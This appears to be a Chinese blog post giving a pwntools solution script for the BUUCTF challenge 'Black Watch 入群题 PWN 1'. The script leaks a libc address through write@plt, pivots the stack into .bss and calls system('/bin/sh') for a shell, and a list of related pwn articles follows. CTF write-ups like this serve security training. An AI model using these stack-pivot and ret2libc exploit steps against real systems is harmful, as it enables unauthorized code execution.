首页 > 其他分享 >[Black Watch 入群题]PWN 1

[Black Watch 入群题]PWN 1

时间:2024-06-04 14:44:55浏览次数:9  
标签:addr level Watch system send write p32 Black PWN

from pwn import *
from LibcSearcher import *

#p=remote('node4.buuoj.cn',25986)
p=process('./a')
context(arch='i386',os='linux',log_level='debug')
e=ELF('./a')
level_ret_addr = 0x08048511
bss_addr = 0x0804A300
binsh_addr = 0x0804A300 + 4*4

#利用libc获取system的地址
write_plt = e.plt['write']
write_got = e.got['write']
main_addr = 0x08048513

payload01 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload02 = b'a'*0x18  + p32(bss_addr)+p32(level_ret_addr)
p.recvuntil("What is your name?")
p.send(payload01)
p.recvuntil("What do you want to say?")
p.send(payload02)
write_addr = u32(p.recv(4))

o = LibcSearcher('write',write_addr)
libc_base = write_addr - o.dump('write')

#栈迁移

system_addr = libc_base + o.dump('system')

payload1 = b'aaaa' + p32(system_addr) + p32(0) + p32(binsh_addr) + b'/bin/sh'

# p.recv()
p.recvuntil("What is your name?")
p.send(payload1)

p.recv()
payload2 = b'a'*0x18 + p32(bss_addr)+p32(level_ret_addr)

p.send(payload2)

p.interactive()

标签:addr,level,Watch,system,send,write,p32,Black,PWN
From: https://www.cnblogs.com/xmiscx/p/18230712

相关文章

  • 算力天天说:英伟达创始人兼CEO黄仁勋在演讲中宣布Blackwell芯片已开始投产
    算力国际新闻概述如下:英伟达算力芯片新进展:英伟达创始人兼CEO黄仁勋在演讲中宣布,英伟达的最新AI算力芯片——Blackwell芯片已开始投产。英伟达预计B系列芯片将在今年带来大量营收,这意味着国内相关英伟达算力产业链公司可能会更早确认业绩。此外,英伟达还计划在2025年推出Bl......
  • DASCTF X HDCTF 2024 公开赛|生而无畏战_pwn部分wp
    剩下一个不会写。......
  • pwn学习-ret2libc
    昨天学习了re2syscall,该方法主要是系统中没有system()函数,也没有/bin/sh字符串,一般该二进制程序使用staticlink静态链接,可以找到很多的gadget,我们可以利用这些gadget进行系统调用但是在动态链接时,gadget就变少了,也是同样的没有system()函数,这时我们需要再函数动态绑定的libc中找......
  • PWN-栈迁移
    栈迁移题目:BUUCTF在线评测(buuoj.cn)知识点:栈迁移使用情况:题目中有栈溢出,但是栈溢出的范围有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。函数调用时,无论......
  • pwn学习-ret2plt
    在之前进行ret2shellcode的学习时,需要NX保护机制是关闭的,但是现在一般情况下,保护机制默认都是开启的,那么该怎么办呢?下面我们将学习ret2plt技术,够着ROPChain来执行我们想要的代码ret2plt这种技术的目的是从PLT中泄漏函数的地址,例如二进制程序中有一个system或其他危险函数的......
  • pwn学习-ret2shellcode
    今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为s......
  • pwn堆的结构及堆溢出理解
    堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长(栈由高地址向低地址增长)。我们一般称管理堆的那部分程序为堆管理器。堆是分配给程序的内存空间与栈不同,堆内存可以动态分配。这意味着程序可以在需要的时候从堆段中请求和释放内存。此外,此内存......
  • pwn长征路
    只是私人学习记录的备份,不建议参考学习模板frompwnimport*context(os='linux',arch='amd64',log_level='debug')#context.update(arch='i386',os='linux',log_level='debug')#context(os='linux',arch='......
  • pwn常用工具快捷键学习
    vim普通模式G(普通模式)来的文本最下方g+g(普通模式下)回到文本的开头f+目标单词的首字母(find普通模式)移动到目标单词d(delete)删除当前行u(undo)撤销文本模式I从当前行开头进行输入A当前行文末输入idaF7单步执行,遇到call......
  • pwn题libc换源
    资料:pwn题更换libc版本(z1r0.top)​pwn技术分享——使用patchelf和glibc-all-in-one替换程序依赖的libc文件_哔哩哔哩_bilibili下载libc./download2.23-0ubuntu11.2_amd64#glibc为你想要下载glibc的名字./download_oldlibc#list没有,可以使用./downl......